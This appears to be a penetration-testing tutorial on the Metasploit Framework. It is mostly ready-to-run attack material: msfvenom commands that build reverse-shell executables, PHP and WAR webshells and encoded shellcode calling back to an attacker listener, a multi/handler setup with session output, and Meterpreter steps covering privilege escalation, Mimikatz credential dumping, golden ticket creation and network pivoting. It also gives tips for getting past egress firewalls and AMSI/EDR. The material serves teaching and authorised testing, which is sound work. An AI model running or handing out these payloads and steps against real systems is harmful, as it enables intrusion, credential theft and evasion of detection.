β‘ Weaponization, Modular Exploitation & In-Memory Post-Exploitation Mechanics
Vulnerability scanning identifies potential system exposures, but Exploitation verifies whether an exposure is actively weaponizable. Created by H.D. Moore in 2003 and maintained by Rapid7, the Metasploit Framework (MSF) is the world's most widely adopted open-source penetration testing and exploit development platform. Rather than requiring security researchers to write custom socket connections, raw assembly payloads, and architecture-specific shellcodes for every individual CVE, Metasploit provides a decoupled, modular Ruby architecture that separates the delivery mechanism (the Exploit) from the executed code (the Payload). Central to modern offensive and defensive testing is the Meterpreter payload: an advanced, dynamically extensible in-memory command execution environment that avoids writing executable binaries to target disks via Reflective DLL Injection. By mastering payload weaponization with msfvenom, pivoting through compromised gateways, and analyzing post-exploitation telemetry, cybersecurity engineers learn to rigorously validate enterprise attack surfaces and verify defense-in-depth mitigations.
METASPLOIT FRAMEWORK (MSF) INTERNAL ARCHITECTURAL PIPELINE:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β USER INTERFACES & API INTERACTION TIER β
β β’ msfconsole (Interactive CLI) | msfvelocity | msfvenom (Standalone Payload Generator) β
β β’ MSF REST / RPC Interface (Remote orchestration, automation, and CI/CD security integration) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β MSF BASE & FRAMEWORK CORE TIER β
β β’ MSF Base: High-level APIs, session management, job control, parameter normalization β
β β’ MSF Core: Module loading, event dispatching, cryptographic primitives, payload compilation β
β β’ PostgreSQL Database Engine: Workspace management, host inventories, loot, credential hashes β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β REX (RUBY EXTENSION SUITE) - SYSTEM ABSTRACTION LAYER β
β β’ Rex::Socket (Raw TCP/UDP, TLS, IPv6) | Rex::Proto (SMB, HTTP, DCERPC, MSSQL, SSH) β
β β’ Rex::Parser (PCAP, XML, ELF, PE32) | Rex::Exploitation (ROP gadgets, SEH frames) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β METASPLOIT MODULE TAXONOMY (/usr/share/metasploit-framework/modules/): β
β β
β 1. EXPLOITS : Code sequences that leverage a target software bug (buffer overflow, RCE) to β
β obtain code execution (e.g. windows/smb/ms17_010_eternalblue). β
β 2. PAYLOADS : Code executed on the target after exploitation (Shell, Meterpreter, VNC). β
β 3. AUXILIARY : Scanners, fuzzers, protocol validators, and denial-of-service modules. β
β 4. POST : Modules executed within an active session (credential harvesting, enum). β
β 5. ENCODERS : Obfuscation engines to eliminate bad characters (e.g. \x00) like shikata_ga_naiβ
β 6. NOPS : NOP sled generators across architectures (x86, x64, ARM, MIPS). β
β 7. EVASION : Payloads engineered to evade host-based endpoint detection (Antivirus / EDR). β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
STAGED VS. STAGELESS PAYLOAD DELIVERY MECHANICS:
1. STAGED PAYLOAD (e.g., windows/x64/meterpreter/reverse_tcp):
Notice the forward slashes: "meterpreter/reverse_tcp" indicates a multi-stage delivery!
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 1: EXPLOIT INJECTS STAGE 0 (THE STAGER): β
β β’ Size: Very small (~200 to 400 bytes). Optimized for tight stack buffer memory limits. β
β β’ Objective: Establishes a raw TCP reverse connection back to the attacker's multi/handler. β
β β
β STEP 2: MULTI/HANDLER TRANSMITS STAGE 1 (THE STAGE): β
β β’ Size: Large (~1 MB to 2 MB). Contains the full Meterpreter DLL and reflective loader. β
β β’ Execution: Stager receives Stage 1 directly into RAM and passes execution control to it. β
β β
β β’ Strength : Fits inside minimal exploit buffer space. β
β β’ Weakness : High network traffic visibility. EDR/NDR easily intercepts unencrypted stager. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. STAGELESS / SINGLE PAYLOAD (e.g., windows/x64/meterpreter_reverse_tcp):
Notice the underscore: "meterpreter_reverse_tcp" indicates an all-in-one stageless payload!
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β’ Size: Large (~1.5 MB compiled monolithic binary). β
β β’ Objective: Entire Meterpreter engine, socket handling, and core features are embedded insideβ
β the initial payload file. β
β β’ Execution: Executes immediately without requesting secondary stages over the wire. β
β β
β β’ Strength : Highly stable, evades network stage-capture signatures, resilient on unstable β
β networks, and easier to wrap in modern custom shellcode loaders. β
β β’ Weakness : Cannot fit into exploits with constrained buffer space (e.g. 500-byte overflows) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
MSF CONSOLE PAYLOAD SELECTION CONVENTION:
βββββββββββββββββββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββ
β MODULE IDENTIFIER β TYPE & ARCHITECTURAL BEHAVIOR β
βββββββββββββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββ€
β windows/x64/meterpreter/reverse_tcp β Staged (Small stager β Downloads full DLL) β
β windows/x64/meterpreter_reverse_tcp β Stageless (Complete monolithic payload) β
β linux/x86/shell/reverse_tcp β Staged standard Linux /bin/sh shell β
β linux/x64/shell_reverse_tcp β Stageless standalone 64-bit Linux reverse sh β
βββββββββββββββββββββββββββββββββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββ
msfvenom. Demonstrates eliminating bad characters (-b '\x00\x0a\x0d'), multi-round Shikata Ga Nai encoding, output formats (exe, elf, raw, c, python), and template injection.
# ==============================================================================
# MSFVENOM COMMAND-LINE WEAPONIZATION RECIPES:
# Syntax: msfvenom -p <payload> LHOST=<attacker_ip> LPORT=<port> -f <format> -o <file>
# ==============================================================================
# 1. WINDOWS x64 STAGELESS REVERSE TCP METERPRETER EXECUTABLE:
# Generates production Windows PE32+ executable (.exe)
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f exe -o /var/www/html/payload.exe
# 2. LINUX x64 STAGELESS REVERSE ELF BINARY:
# Generates native 64-bit Linux ELF binary with execution permissions
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f elf -o /var/www/html/shell.elf
# 3. RAW C-ARRAY SHELLCODE WITH BAD CHARACTER ELIMINATION:
# -b '\x00\x0a\x0d' : Strips Null bytes, Newlines, and Carriage returns for exploits
# -e x86/shikata_ga_nai : Applies polymorphic XOR additive feedback encoder
# -i 3 : Executes 3 iterative encoding rounds
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-b '\x00\x0a\x0d' \
-e x86/shikata_ga_nai -i 3 \
-f c -o shellcode.c
# 4. CROSS-PLATFORM WEB APPLICATION WEBSHELL ARTIFACTS:
# PHP Web Payload (for testing insecure file upload vulnerabilities):
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f raw -o payload.php
# Java WAR Archive (for deploying into Apache Tomcat / JBoss application servers):
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f war -o application.war
exploit/multi/handler). Demonstrates setting payloads, configuring listening parameters (LHOST, LPORT), enabling background jobs, handling multiple concurrent sessions, and staging options.
# ==============================================================================
# MSFCONSOLE INTERACTIVE LISTENER AUTOMATION:
# Automation script or manual terminal execution via msfconsole
# ==============================================================================
# Launch Metasploit Framework Console in quiet mode
$ msfconsole -q
# Step 1: Select the generic multi/handler exploit wrapper
msf6 > use exploit/multi/handler
# Step 2: Set payload to EXACTLY MATCH the generated payload in msfvenom!
# Mismatching payload architectures (e.g. x86 handler with x64 payload) breaks staging!
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
# Step 3: Configure Listener Parameters
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 4444
# Step 4: Advanced Listener Configurations
# ExitOnSession false: Keeps listener running continuously even after a session connects
msf6 exploit(multi/handler) > set ExitOnSession false
# Enable auto-migration to a stable process upon connection
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
# Step 5: Execute handler in the background (-j)
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.100:4444
# ==============================================================================
# INCOMING CONNECTION LOG & SESSION INITIALIZATION:
# ==============================================================================
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.50:49152) at 2026-11-04 14:10:02
msf6 exploit(multi/handler) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows CORP\sdet @ WIN-PROD-SRV01 192.168.1.100:4444 -> 192.168.1.50:49152
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
REFLECTIVE DLL INJECTION & METERPRETER MEMORY ARCHITECTURE:
WHY METERPRETER AVOIDS STANDARD WINDOWS LOADERS:
Normal Windows PE loading (LoadLibraryA) requires an executable file on the physical disk.
Traditional endpoint antivirus monitors the file system and intercepts disk write operations!
HOW REFLECTIVE DLL INJECTION OPERATES (ZERO-DISK FOOTPRINT):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 1. Allocates raw memory in target process via VirtualAlloc(MEM_COMMIT | PAGE_EXECUTE_READWRITE)β
β 2. Copies the raw Meterpreter DLL directly into target process memory via VirtualAllocEx. β
β 3. Invokes custom embedded ReflectiveLoader() function via CreateRemoteThread: β
β βββ Parses its own PE headers directly from raw memory. β
β βββ Resolves kernel32.dll export addresses dynamically (GetProcAddress, LoadLibrary). β
β βββ Fixes its own Base Relocation table entries based on allocated virtual address. β
β βββ Calls its own DllMain(DLL_PROCESS_ATTACH) entry point. β
β 4. Meterpreter executes entirely in RAM without creating an event on the physical hard drive! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ESSENTIAL METERPRETER COMMAND WORKFLOW:
βββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β COMMAND β OPERATIONAL ACTION & BEHAVIOR β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β getuid β Displays current operating user token (e.g. NT AUTHORITY\SYSTEM). β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β sysinfo β Prints OS architecture, hostname, build number, and language. β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β ps β Enumerates running process list with PIDs, PPIDs, and architectures.β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β migrate <PID> β Injects Meterpreter DLL into another running process (e.g. explorer)β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β getsystem β Executes automated local privilege escalation techniques to SYSTEM. β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β hashdump β Dumps local SAM database password hashes directly from registry. β
βββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β shell β Drops into a standard native OS command shell (cmd.exe or /bin/sh). β
βββββββββββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
kiwi extension (integrated Mimikatz) into an active Meterpreter session to extract plaintext passwords, NTLM hashes, and Kerberos tickets from LSASS memory.
# ==============================================================================
# POST-EXPLOITATION: CREDENTIAL HARVESTING VIA KIWI EXTENSION
# Prerequisite: Meterpreter session running with NT AUTHORITY\SYSTEM privileges
# ==============================================================================
# Step 1: Elevate privileges from local admin to SYSTEM
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# Step 2: Load the kiwi extension (dynamically injects Mimikatz into memory)
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 2026-04-18
.## ^ ##. "A La Craie" - (oe.eo)
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' Vincent LE TOUX ( vincent.letoux@mysmartlogon.com )
'#####' > https://blog.gentilkiwi.com/mimikatz
Success.
# Step 3: Extract credentials and hashes from LSASS process memory
meterpreter > creds_all
[+] Running creds_all
AuthId Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate WIN-PROD-SRV WIN-PROD-SRV$
0;154210 NTLM CORP Administrator [NTLM: 3B4E3E533604C5A9F0D8C5708C5AE48B]
0;154210 NTLM CORP sdet [NTLM: 8846F7EAEE8FB117AD06BDD830B7586C]
# Step 4: Dump active Kerberos tickets from memory for Golden/Silver Ticket reuse
meterpreter > golden_ticket_create -d corp.nikita-infotech.com -k <KRBTGT_HASH> -s 500 -u Administrator
post/multi/manage/autoroute module and chaining with auxiliary/server/socks_proxy and Linux proxychains.
ENTERPRISE NETWORK PIVOTING TOPOGRAPHY:
[ATTACKER MACHINE]
(192.168.1.100)
β
βΌ (Meterpreter Session 1 over Public Network)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β COMPROMISED DUAL-HOMED DMZ HOST (e.g. Web Server) β
β β’ Interface 1 (Public facing) : 192.168.1.50 β
β β’ Interface 2 (Internal VLAN) : 10.0.0.10 β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ (Metasploit autoroute & SOCKS5 Tunnel)
===================[ ISOLATED INTERNAL SUBNET (10.0.0.0/24) ]===================
ββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ
β INTERNAL DOMAIN CONTROLLER β β INTERNAL CORE DATABASE β
β IP: 10.0.0.5 (Port 88, 445) β β IP: 10.0.0.20 (Port 3306) β
β (Inaccessible to Attacker) β β (Inaccessible to Attacker) β
ββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ
METASPLOIT PIVOTING CONFIGURATION COMMANDS:
# Step 1: Add a route to the internal subnet through active Meterpreter Session 1
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 10.0.0.0
msf6 post(multi/manage/autoroute) > set NETMASK 255.255.255.0
msf6 post(multi/manage/autoroute) > run
[+] Added route to 10.0.0.0/255.255.255.0 via Session 1
# Step 2: Spin up an internal SOCKS5 Proxy Server inside Metasploit
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 1.
[*] SOCKS5 Proxy server started on 127.0.0.1:1080
# Step 3: Route external Linux tools through the pivot via /etc/proxychains4.conf
# Configure last line in /etc/proxychains4.conf: socks5 127.0.0.1 1080
# Execute Nmap scan against the hidden internal host through the pivot:
$ proxychains4 nmap -sT -Pn -p 22,80,445 10.0.0.5
Msf::Auxiliary and Msf::Exploit::Remote::HttpClient mixins to scan targets for exposed configuration files.
##
# Metasploit Framework Custom Module
# Module: auxiliary/scanner/http/env_file_scanner.rb
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Public .env Sensitive Configuration File Exposure Scanner',
'Description' => %q{
Scans web servers for publicly exposed .env configuration files
that leak database passwords, API credentials, and application secrets.
},
'Author' => [ 'Nikita Infotech Research' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://owasp.org/www-project-top-ten/' ]
]
)
)
register_options(
[
OptString.new('TARGET_URI', [ true, 'Path to probe for environment secrets', '/.env' ]),
OptInt.new('TIMEOUT', [ true, 'HTTP connection timeout in seconds', 5 ])
]
)
end
def run_host(ip)
uri = normalize_uri(target_uri.path)
res = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'ctype' => 'text/plain'
},
datastore['TIMEOUT']
)
if res.nil?
vprint_error("#{ip}:#{rport} - Connection timed out.")
return
end
if res.code == 200 && (res.body.include?('DB_PASSWORD') || res.body.include?('APP_KEY'))
print_good("#{ip}:#{rport} - VULNERABILITY CONFIRMED: .env file exposed at #{uri}!")
# Report finding into the connected PostgreSQL database
report_vuln(
host: ip,
port: rport,
name: 'Exposed .env Configuration File',
info: "Exposed secrets preview: #{res.body[0..100].strip}",
proto: 'tcp'
)
else
vprint_status("#{ip}:#{rport} - Safe: .env is not exposed (HTTP #{res.code})")
end
end
end
EXPLOITATION FAILURE MODES & DIAGNOSTIC TRIAGE:
// ==============================================================================
// PITFALL 1: PAYLOAD ARCHITECTURE MISMATCH (x86 IN AN x64 TARGET)
// SYMPTOM: Exploit reports "Exploit completed, but no session was created."
// Debug log: "Handler failed to bind to target thread."
// CAUSE: The target daemon is 64-bit (x64), but the operator configured:
// set payload windows/meterpreter/reverse_tcp (which is 32-bit x86!)
// The 32-bit shellcode crashes when attempting to execute inside a 64-bit address space.
// CORRECTION: Align payload architecture to target binary:
// set payload windows/x64/meterpreter_reverse_tcp
// ==============================================================================
// ==============================================================================
// PITFALL 2: EGRESS FIREWALL FILTERING KILLING REVERSE TCP CONNECTIONS
// SYMPTOM: Target executes payload, but no connection arrives at attacker listener.
// CAUSE: The target organization's boundary firewall drops outbound traffic on
// unusual ports (e.g. port 4444 or 1337).
// CORRECTION: Configure the listener on permitted outbound egress ports:
// set LPORT 443 (HTTPS) or set LPORT 53 (DNS)
// And use reverse HTTPS payloads to blend with normal traffic:
// set payload windows/x64/meterpreter/reverse_https
// ==============================================================================
// ==============================================================================
// PITFALL 3: ENDPOINT DETECTION AND RESPONSE (EDR) AMSI KILL
// SYMPTOM: PowerShell or Cscript payload dies instantly upon launch.
// CAUSE: Windows Antimalware Scan Interface (AMSI) scans the payload buffer in RAM
// before execution and matches standard Metasploit string signatures.
// CORRECTION: In testing environments, evaluate bypasses or deploy custom C/C++ loaders
// using direct system calls (Syswhispers) to avoid hooked user-mode APIs.
// ==============================================================================
METASPLOIT FRAMEWORK (MSF) SPECIFICATION MATRIX:
βββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββ¬βββββββββββββββββββ¬βββββββββββββββββββββββββββββββββ
β COMPONENT / MODULE β COMMAND / SYNTAX EXAMPLE β ARCHITECTURE β CORE OPERATIONAL OBJECTIVE β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Exploit Module β use exploit/windows/smb/... β Ruby Class β Delivers payload and triggers β
β β β (Msf::Exploit) β target vulnerability / bug β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Auxiliary Module β use auxiliary/scanner/... β Ruby Class β Port scanning, fingerprinting, β
β β β (Msf::Auxiliary) β fuzzing, and DoS validation β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Staged Payload β windows/x64/meterpreter/ β Stager + Stage β Minimal buffer footprint; β
β β reverse_tcp (has slashes) β Multi-stage net β pulls large stage over wire β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Stageless Payload β windows/x64/meterpreter_ β Monolithic PE β Self-contained; evades network β
β β reverse_tcp (has underscore) β Single payload β stager detection signatures β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β msfvenom CLI β msfvenom -p ... -f exe -o .. β Standalone Tool β Compiles shellcode and binariesβ
β β -b '\x00' -e shikata_ga_nai β β for exploits and testing β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β multi/handler β use exploit/multi/handler β Generic Listener β Universal handler for incoming β
β β set ExitOnSession false β Session Broker β reverse and bind connections β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β Meterpreter Engine β Reflective DLL Injection β In-Memory DLL β High-level interaction without β
β β migrate, getuid, sysinfo β (No-Disk Write) β touching the physical disk β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β kiwi (Mimikatz) β load kiwi β Meterpreter Ext. β In-memory credential dumping β
β β creds_all, lsa_dump_sam β (LSASS parsing) β of NTLM hashes and passwords β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββββ€
β autoroute / Pivoting β run post/multi/manage/auto.. β Network Route β Tunnels traffic through pivot β
β β auxiliary/server/socks_proxy β SOCKS5 Proxy β host to isolated subnets β
βββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββ΄βββββββββββββββββββ΄βββββββββββββββββββββββββββββββββ€
β TOP 5 METASPLOIT ENGINEERING & SAFETY PRINCIPLES: β
β 1. Align Architectures: Always verify target architecture (x86 vs x64) before choosing a payload. β
β 2. Prefer Stageless Payloads: Use stageless payloads to avoid network-stager signature detection. β
β 3. Match Handler Settings: Ensure LHOST, LPORT, and payload strings match msfvenom parameters exactly. β
β 4. Operate In-Memory: Use Meterpreter's reflective loading to minimize disk writes during testing. β
β 5. Require Explicit Scope: Never execute Metasploit modules against targets outside signed contracts. β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ